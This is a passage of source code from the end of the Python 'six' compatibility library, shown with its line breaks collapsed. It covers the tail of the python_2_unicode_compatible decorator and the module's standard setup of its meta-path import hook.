'__str__' not in klass.__dict__: raise ValueError("@python_2_unicode_compatible cannot be applied " "to %s because it doesn't define __str__()." % klass.__name__) klass.__unicode__ = klass.__str__ klass.__str__ = lambda self: self.__unicode__().encode('utf-8') return klass # Complete the moves implementation. # This code is at the end of this module to speed up module loading. # Turn this module into a package. __path__ = [] # required for PEP 302 and PEP 451 __package__ = __name__ # see PEP 366 @ReservedAssignment if globals().get("__spec__") is not None: __spec__.submodule_search_locations = [] # PEP 451 @UndefinedVariable # Remove other six meta path importers, since they cause problems. This can # happen if six is removed from sys.modules and then reloaded. (Setuptools does # this for some reason.) if sys.meta_path: for i, importer in enumerate(sys.meta_path): # Here's some real nastiness: Another "instance" of the six module might # be floating around. Therefore, we can't use isinstance() to check for # the six meta path importer, since the other six instance will have # inserted an importer with different class. if (type(importer).__name__ == "_SixMetaPathImporter" and importer.name == __name__): del sys.meta_path[i] break del i, importer # Finally, add the importer to the meta path import hook. sys.meta_path.append(_importer)